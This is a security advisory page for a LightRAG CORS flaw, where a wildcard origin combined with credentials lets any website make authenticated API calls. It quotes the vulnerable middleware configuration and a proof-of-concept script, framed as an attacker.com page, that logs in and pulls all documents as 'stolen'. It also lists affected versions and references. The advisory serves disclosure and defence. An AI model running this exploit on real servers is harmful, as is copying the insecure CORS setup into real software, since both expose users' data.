LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
PoC
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | lightrag-hku | < 1.5.4 | 1.5.4 |
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w
- https://nvd.nist.gov/vuln/detail/CVE-2026-61736
- https://github.com/HKUDS/LightRAG/pull/3317
- https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d
- https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d
- https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252
- https://github.com/HKUDS/LightRAG
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4
- https://pypi.org/project/lightrag-hku
- https://github.com/advisories/GHSA-6x6h-qqr7-855w
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N- Weakness (CWE)
CWE-942- Platform
- Python (PyPI)
- Package
lightrag-hku- Disclosed
- 20.07.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3474 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-6x6h-qqr7-855w - CC BY 4.0
Vulnerability history: lightrag-hku
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 10
- First → latest
- 06.2025 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 2
- Medium 5
Disclosures per year
- 2025: 1
- 2026: 9
-
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.